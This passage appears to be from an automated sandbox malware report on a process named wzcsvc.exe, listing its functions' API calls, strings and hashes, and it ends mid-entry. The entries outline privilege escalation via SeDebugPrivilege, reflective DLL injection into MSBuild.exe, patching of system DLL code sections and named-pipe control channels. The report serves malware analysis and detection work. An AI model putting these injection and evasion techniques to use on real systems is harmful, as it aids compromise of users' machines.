Instruction Fuzzy Hash: 2C01D632A48C1E8FEB90E76CD44A9FE77E9EB89300B0041B6E00DD3281CE18690643C1

Function 00007FFAAC5934B0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17cc3c523a9c56f891ae24b043d8fea4975cbaba071e7a6ba3b97a7dec652012
Instruction ID: 815b23d4a5ada5fdca6e6aa0479c1a49a356c544cefa03e860a366dd2878d2f1
Opcode Fuzzy Hash: 17cc3c523a9c56f891ae24b043d8fea4975cbaba071e7a6ba3b97a7dec652012
Instruction Fuzzy Hash: 11F0F472D1491E8EEB50EBA8D4495FEB7E8EF18305F0004BBE00DD3292DE34990087C1

Function 00007FFAAC594562 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 039fcdb51ad4aff203e19d8aad6163a30655cdd1392afc6470f0bead5772874a
Instruction ID: 9236df4097cfdaa9e7d69757a51f7627024e139024ed8cbfd9c35c4d60dabd65
Opcode Fuzzy Hash: 039fcdb51ad4aff203e19d8aad6163a30655cdd1392afc6470f0bead5772874a
Instruction Fuzzy Hash: F7F0A022B1C9168BBA08676CA4060FD72C6FBCA310B50517AE44FC32C3DE1DAC1602C5

Function 00007FFAAC593A93 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58bb7550476706eb026965101ef109d94815e6a64e035a508db3b33a65ece219
Instruction ID: e735a4239fdc0051a2839e7c0185db1e7b6062026f92dd2e2f22893116a8bc53
Opcode Fuzzy Hash: 58bb7550476706eb026965101ef109d94815e6a64e035a508db3b33a65ece219
Instruction Fuzzy Hash: 14E09B7264C50D1ED654B665DC46DFB775CEF82334F40117FF50DC1053E915B1228291

Function 00007FFAAC593798 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7addc041f7ae73ecfd5ceb726c43212e472d9a0f39245a572767b633770edb4e
Instruction ID: f4f8cea15f655b2bd9ca4a5c54b24d683300655d528a627cb5ae2d8e4ae39353
Opcode Fuzzy Hash: 7addc041f7ae73ecfd5ceb726c43212e472d9a0f39245a572767b633770edb4e
Instruction Fuzzy Hash: 9DF0ADB0C8E147CAF356972CC0416A87BA9AF86310F4086B9E04E862C2CF2EA559C380

Analysis Process: wzcsvc.exePID: 5480, Parent PID: 1408COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	2.2%
Signature Coverage:	37.1%
Total number of Nodes:	232
Total number of Limit Nodes:	23

Executed Functions

Function 00007FF6B5AD2264 Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B5AD1F24: StrCpyW.SHLWAPI ref: 00007FF6B5AD1F55
Part of subcall function 00007FF6B5AD1F24: StrCatW.SHLWAPI ref: 00007FF6B5AD1F63
Part of subcall function 00007FF6B5AD1F24: GetModuleHandleW.KERNEL32 ref: 00007FF6B5AD1F6C
Part of subcall function 00007FF6B5AD1F24: GetCurrentProcess.KERNEL32 ref: 00007FF6B5AD1F8C
Part of subcall function 00007FF6B5AD1F24: K32GetModuleInformation.KERNEL32 ref: 00007FF6B5AD1FA0
Part of subcall function 00007FF6B5AD1F24: CreateFileW.KERNELBASE ref: 00007FF6B5AD1FD0
Part of subcall function 00007FF6B5AD1F24: CreateFileMappingW.KERNELBASE ref: 00007FF6B5AD1FFA
Part of subcall function 00007FF6B5AD1F24: MapViewOfFile.KERNELBASE ref: 00007FF6B5AD201D
Part of subcall function 00007FF6B5AD1F24: lstrcmpiA.KERNEL32 ref: 00007FF6B5AD2073
Part of subcall function 00007FF6B5AD1F24: CloseHandle.KERNELBASE ref: 00007FF6B5AD20DF
Part of subcall function 00007FF6B5AD1F24: CloseHandle.KERNEL32 ref: 00007FF6B5AD20E8
Part of subcall function 00007FF6B5AD1F24: FreeLibrary.KERNEL32 ref: 00007FF6B5AD20F1

Part of subcall function 00007FF6B5AD1F24: VirtualProtect.KERNELBASE ref: 00007FF6B5AD20A6
Part of subcall function 00007FF6B5AD1F24: VirtualProtect.KERNELBASE ref: 00007FF6B5AD20D6

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2287
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2297
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD22B1
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6B5AD22C8
AdjustTokenPrivileges.KERNELBASE ref: 00007FF6B5AD2300
GetLastError.KERNEL32 ref: 00007FF6B5AD230A
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2313
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2327
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD233E
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2357
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2369
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2376
RegCreateKeyExW.KERNELBASE ref: 00007FF6B5AD23B6
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF6B5AD23DD
RegSetKeySecurity.KERNELBASE ref: 00007FF6B5AD23F6
LocalFree.KERNEL32 ref: 00007FF6B5AD2400
RegCreateKeyExW.KERNELBASE ref: 00007FF6B5AD2436
GetCurrentProcessId.KERNEL32 ref: 00007FF6B5AD2440
RegSetValueExW.KERNELBASE ref: 00007FF6B5AD2467
RegCloseKey.KERNELBASE ref: 00007FF6B5AD2471
RegCloseKey.ADVAPI32 ref: 00007FF6B5AD247B
CreateThread.KERNELBASE ref: 00007FF6B5AD249C
GetProcessHeap.KERNEL32 ref: 00007FF6B5AD24A2
HeapAlloc.KERNEL32 ref: 00007FF6B5AD24B1
CreateThread.KERNELBASE ref: 00007FF6B5AD24E0
CreateThread.KERNELBASE ref: 00007FF6B5AD2501
SleepEx.KERNELBASE ref: 00007FF6B5AD2509

Strings

ntdll.dll, xrefs: 00007FF6B5AD226F
DLL, xrefs: 00007FF6B5AD2319
pid, xrefs: 00007FF6B5AD2413
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00007FF6B5AD23D6
SOFTWARE\wzconfig, xrefs: 00007FF6B5AD2391
kernel32.dll, xrefs: 00007FF6B5AD227B
SeDebugPrivilege, xrefs: 00007FF6B5AD22C1
svc64, xrefs: 00007FF6B5AD244A

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\wzconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-225948716
Opcode ID: 50ba8c157a93ef939d036fd2e1ae7c9574a30eb4664e9a0a25ba6ae7d48a92ab
Instruction ID: 9f2b41784d5fc8fdb8141fbfe7dcd30bc1f78b4c8051d6e5ceb592e0f520f59d
Opcode Fuzzy Hash: 50ba8c157a93ef939d036fd2e1ae7c9574a30eb4664e9a0a25ba6ae7d48a92ab
Instruction Fuzzy Hash: 06815075A48B0296EB20BF29E8545E973A1FF88F58B444136DF4E93AA9DF3CD944C700

Function 00007FF6B5AD10C0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 255
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B5AD18A4: OpenProcess.KERNEL32(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18C2
Part of subcall function 00007FF6B5AD18A4: IsWow64Process.KERNEL32(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18D8
Part of subcall function 00007FF6B5AD18A4: CloseHandle.KERNELBASE(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18F3

OpenProcess.KERNEL32 ref: 00007FF6B5AD112C
OpenProcess.KERNEL32 ref: 00007FF6B5AD114B
K32GetModuleFileNameExW.KERNEL32 ref: 00007FF6B5AD1171
PathFindFileNameW.SHLWAPI ref: 00007FF6B5AD1180
lstrlenW.KERNEL32 ref: 00007FF6B5AD118C
StrCpyW.SHLWAPI ref: 00007FF6B5AD11A3
CloseHandle.KERNEL32 ref: 00007FF6B5AD11AF
StrCmpIW.SHLWAPI ref: 00007FF6B5AD11DC
NtQueryInformationProcess.NTDLL ref: 00007FF6B5AD120F
OpenProcessToken.ADVAPI32 ref: 00007FF6B5AD1239
GetTokenInformation.KERNELBASE ref: 00007FF6B5AD1265
GetLastError.KERNEL32 ref: 00007FF6B5AD126F
LocalAlloc.KERNEL32 ref: 00007FF6B5AD1282
GetTokenInformation.KERNELBASE ref: 00007FF6B5AD12AE
GetSidSubAuthorityCount.ADVAPI32 ref: 00007FF6B5AD12BB
GetSidSubAuthority.ADVAPI32 ref: 00007FF6B5AD12CA
LocalFree.KERNEL32 ref: 00007FF6B5AD12E2
CloseHandle.KERNEL32 ref: 00007FF6B5AD12F6
StrStrA.SHLWAPI ref: 00007FF6B5AD13A0
VirtualAllocEx.KERNELBASE ref: 00007FF6B5AD1407
WriteProcessMemory.KERNELBASE ref: 00007FF6B5AD142A
WaitForSingleObject.KERNEL32 ref: 00007FF6B5AD1476
GetExitCodeThread.KERNEL32 ref: 00007FF6B5AD148C
CloseHandle.KERNELBASE ref: 00007FF6B5AD14A4
CloseHandle.KERNEL32 ref: 00007FF6B5AD14AD

Strings

MSBuild.exe, xrefs: 00007FF6B5AD11BA
ReflectiveDllMain, xrefs: 00007FF6B5AD1396
@, xrefs: 00007FF6B5AD13FA

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain
API String ID: 2561231171-627206108
Opcode ID: ab04de0f4ae730528dcd8ac1db4fb739fdc3cf093d46144e9515fcb488db511c
Instruction ID: ac1614ca0a6530748963b28d08358b34a4caf4a86ce48fed314a23093705e4ad
Opcode Fuzzy Hash: ab04de0f4ae730528dcd8ac1db4fb739fdc3cf093d46144e9515fcb488db511c
Instruction Fuzzy Hash: D0B153A5A4868286EB64AB1AD8542F92BA5FF84F84F004135DF0DA77D9DF3CEA45C700

Function 00007FF6B5AD14D0 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6B5AD1503
HeapAlloc.KERNEL32 ref: 00007FF6B5AD1516
GetProcessHeap.KERNEL32 ref: 00007FF6B5AD1524
HeapAlloc.KERNEL32 ref: 00007FF6B5AD1535
K32EnumProcesses.KERNEL32 ref: 00007FF6B5AD154F
OpenProcess.KERNEL32 ref: 00007FF6B5AD157D
K32EnumProcessModules.KERNEL32 ref: 00007FF6B5AD15A2
ReadProcessMemory.KERNELBASE ref: 00007FF6B5AD15D9
CloseHandle.KERNELBASE ref: 00007FF6B5AD1615
GetProcessHeap.KERNEL32 ref: 00007FF6B5AD1627
RtlFreeHeap.NTDLL ref: 00007FF6B5AD1635
GetProcessHeap.KERNEL32 ref: 00007FF6B5AD163B
RtlFreeHeap.NTDLL ref: 00007FF6B5AD1649

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 1f6e7ca111fffa28030183a820218c6321eee64b8bf9185de75928df8c46143d
Instruction ID: 9c8ef98461a36277e6b01ff81a0c8d9a780b9e21c85c87c3984411d09ee9beda
Opcode Fuzzy Hash: 1f6e7ca111fffa28030183a820218c6321eee64b8bf9185de75928df8c46143d
Instruction Fuzzy Hash: 3C519E32B556829AEB60EF26E8586E927A0FF49F84F440035EF4DA7799DE3CD845C700

Function 00007FF6B5AD1B4C Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6B5AD1B9B
SetEntriesInAclW.ADVAPI32 ref: 00007FF6B5AD1BE3
LocalAlloc.KERNEL32 ref: 00007FF6B5AD1BF3
InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF6B5AD1C07
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6B5AD1C1E
CreateNamedPipeW.KERNELBASE ref: 00007FF6B5AD1C5F

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 721aaf7103811f45df287b5c067dfe78fe8c91bb71f5cc795d6d2487480b1a5e
Instruction ID: b9bfb40371e7e9f19bacd695f39da6f9b92fe8ab174d2b9bfecdcfb9d9156b4f
Opcode Fuzzy Hash: 721aaf7103811f45df287b5c067dfe78fe8c91bb71f5cc795d6d2487480b1a5e
Instruction Fuzzy Hash: 7A315E326147968AD760DF28E4807DE7BA4FB48B58F40422AEF5D97E98DF38D508CB40

Function 00007FF6B5AD1F24 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 00007FF6B5AD1F55
StrCatW.SHLWAPI ref: 00007FF6B5AD1F63
GetModuleHandleW.KERNEL32 ref: 00007FF6B5AD1F6C
GetCurrentProcess.KERNEL32 ref: 00007FF6B5AD1F8C
K32GetModuleInformation.KERNEL32 ref: 00007FF6B5AD1FA0
CreateFileW.KERNELBASE ref: 00007FF6B5AD1FD0
CreateFileMappingW.KERNELBASE ref: 00007FF6B5AD1FFA
MapViewOfFile.KERNELBASE ref: 00007FF6B5AD201D
lstrcmpiA.KERNEL32 ref: 00007FF6B5AD2073
VirtualProtect.KERNELBASE ref: 00007FF6B5AD20A6
VirtualProtect.KERNELBASE ref: 00007FF6B5AD20D6
CloseHandle.KERNELBASE ref: 00007FF6B5AD20DF
CloseHandle.KERNEL32 ref: 00007FF6B5AD20E8
FreeLibrary.KERNEL32 ref: 00007FF6B5AD20F1

Strings

.text, xrefs: 00007FF6B5AD206C
C:\Windows\System32\, xrefs: 00007FF6B5AD1F47

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: 4ed13a8cb8106b11fba381a82c5365f0d7fbeed321106a12c86950f053f09732
Instruction ID: 08c89203d5d943233612e15f822990a50e851f8493d78775a9dd87db859330b2
Opcode Fuzzy Hash: 4ed13a8cb8106b11fba381a82c5365f0d7fbeed321106a12c86950f053f09732
Instruction Fuzzy Hash: BE51A322B0868296EB10AF19E4586AA73A1FF84F94F444136DF4E53B9DDF3CE949C700

Function 00007FF6B5AD2BF0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B5AD1B4C: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6B5AD1B9B
Part of subcall function 00007FF6B5AD1B4C: SetEntriesInAclW.ADVAPI32 ref: 00007FF6B5AD1BE3
Part of subcall function 00007FF6B5AD1B4C: LocalAlloc.KERNEL32 ref: 00007FF6B5AD1BF3
Part of subcall function 00007FF6B5AD1B4C: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF6B5AD1C07
Part of subcall function 00007FF6B5AD1B4C: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6B5AD1C1E
Part of subcall function 00007FF6B5AD1B4C: CreateNamedPipeW.KERNELBASE ref: 00007FF6B5AD1C5F

Sleep.KERNEL32 ref: 00007FF6B5AD2C15
ConnectNamedPipe.KERNELBASE ref: 00007FF6B5AD2C22
ReadFile.KERNELBASE ref: 00007FF6B5AD2C45
WriteFile.KERNEL32 ref: 00007FF6B5AD2C73
Sleep.KERNEL32 ref: 00007FF6B5AD2C80
DisconnectNamedPipe.KERNELBASE ref: 00007FF6B5AD2C89

Strings

\\.\pipe\wzchildproc64, xrefs: 00007FF6B5AD2BFD
M, xrefs: 00007FF6B5AD2C66

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\wzchildproc64
API String ID: 2203880229-1972328950
Opcode ID: 3b5b6ec81f1da2cc910c22c2008fe65f86985561381c9405c201595c762e9934
Instruction ID: c85396765384189edbd26f207fa5af9bf9dee7e7b7111a110832224e004c3659
Opcode Fuzzy Hash: 3b5b6ec81f1da2cc910c22c2008fe65f86985561381c9405c201595c762e9934
Instruction Fuzzy Hash: 0F113721A9C647A1E714FB15E4143F96760AF84FA0F444135DF5A926DADF7CED44C700

Function 00007FF6B5AD21C8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B5AD1B4C: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6B5AD1B9B
Part of subcall function 00007FF6B5AD1B4C: SetEntriesInAclW.ADVAPI32 ref: 00007FF6B5AD1BE3
Part of subcall function 00007FF6B5AD1B4C: LocalAlloc.KERNEL32 ref: 00007FF6B5AD1BF3
Part of subcall function 00007FF6B5AD1B4C: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF6B5AD1C07
Part of subcall function 00007FF6B5AD1B4C: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6B5AD1C1E
Part of subcall function 00007FF6B5AD1B4C: CreateNamedPipeW.KERNELBASE ref: 00007FF6B5AD1C5F

Sleep.KERNEL32 ref: 00007FF6B5AD21ED
ConnectNamedPipe.KERNELBASE ref: 00007FF6B5AD21FA
ReadFile.KERNEL32 ref: 00007FF6B5AD221D
Sleep.KERNEL32 ref: 00007FF6B5AD223E
DisconnectNamedPipe.KERNEL32 ref: 00007FF6B5AD2247

Strings

\\.\pipe\wzcontrol_redirect64, xrefs: 00007FF6B5AD21D5

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\wzcontrol_redirect64
API String ID: 2071455217-2060006620
Opcode ID: 8c2d41e4b5917682c0d9b85a7d6b8c4e9ca0a7ce3b1635297fe8c4020b63dccb
Instruction ID: 66e4e9acf4c6f49f6853729f599cedff258678136cf29d6ca6669966eafcb8c3
Opcode Fuzzy Hash: 8c2d41e4b5917682c0d9b85a7d6b8c4e9ca0a7ce3b1635297fe8c4020b63dccb
Instruction Fuzzy Hash: 59011631A8C543A1EA14BB19E4142F963A0AF55FA1F144135EF6A925EEDF7CEC44C700

Function 00007FF6B5AD2B30 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6B5AD2B4B
HeapAlloc.KERNEL32 ref: 00007FF6B5AD2B5F
GetProcessHeap.KERNEL32 ref: 00007FF6B5AD2B68
HeapAlloc.KERNEL32 ref: 00007FF6B5AD2B76
K32EnumProcesses.KERNEL32 ref: 00007FF6B5AD2B91
SleepEx.KERNELBASE ref: 00007FF6B5AD2BE6

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 9af7434d648b02f48f96685b3b4a90df6a8a4e973ed4e1a42b06417b92ab0b95
Instruction ID: fced5a88afedf239fa11b43f4e148db6b4be930db08991a08edd45ceec283361
Opcode Fuzzy Hash: 9af7434d648b02f48f96685b3b4a90df6a8a4e973ed4e1a42b06417b92ab0b95
Instruction Fuzzy Hash: 38114F32A4865396EB14EF1AA81456A76A1FFC5F81F144034DF4A5779DCE7DEC40CB40

Function 00007FF6B5AD17E4 Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,00007FF6B5AD2383,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD17F9
HeapAlloc.KERNEL32(?,00000000,?,00007FF6B5AD2383,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD180A

Part of subcall function 00007FF6B5AD14D0: GetProcessHeap.KERNEL32 ref: 00007FF6B5AD1503
Part of subcall function 00007FF6B5AD14D0: HeapAlloc.KERNEL32 ref: 00007FF6B5AD1516
Part of subcall function 00007FF6B5AD14D0: GetProcessHeap.KERNEL32 ref: 00007FF6B5AD1524
Part of subcall function 00007FF6B5AD14D0: HeapAlloc.KERNEL32 ref: 00007FF6B5AD1535
Part of subcall function 00007FF6B5AD14D0: K32EnumProcesses.KERNEL32 ref: 00007FF6B5AD154F
Part of subcall function 00007FF6B5AD14D0: OpenProcess.KERNEL32 ref: 00007FF6B5AD157D
Part of subcall function 00007FF6B5AD14D0: K32EnumProcessModules.KERNEL32 ref: 00007FF6B5AD15A2
Part of subcall function 00007FF6B5AD14D0: ReadProcessMemory.KERNELBASE ref: 00007FF6B5AD15D9
Part of subcall function 00007FF6B5AD14D0: CloseHandle.KERNELBASE ref: 00007FF6B5AD1615
Part of subcall function 00007FF6B5AD14D0: GetProcessHeap.KERNEL32 ref: 00007FF6B5AD1627
Part of subcall function 00007FF6B5AD14D0: RtlFreeHeap.NTDLL ref: 00007FF6B5AD1635
Part of subcall function 00007FF6B5AD14D0: GetProcessHeap.KERNEL32 ref: 00007FF6B5AD163B
Part of subcall function 00007FF6B5AD14D0: RtlFreeHeap.NTDLL ref: 00007FF6B5AD1649

OpenProcess.KERNEL32 ref: 00007FF6B5AD1851
TerminateProcess.KERNEL32 ref: 00007FF6B5AD1864
CloseHandle.KERNEL32 ref: 00007FF6B5AD186D
GetProcessHeap.KERNEL32 ref: 00007FF6B5AD187D

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 5ed7fbe74340a9b931601102cc6c57433faa05d3f95bbe3169b19a4aead5adb9
Instruction ID: 9a90a15b90f905a3eb50bb42d687aa22cf474aef06f2b78246fb3e4c510e0f4d
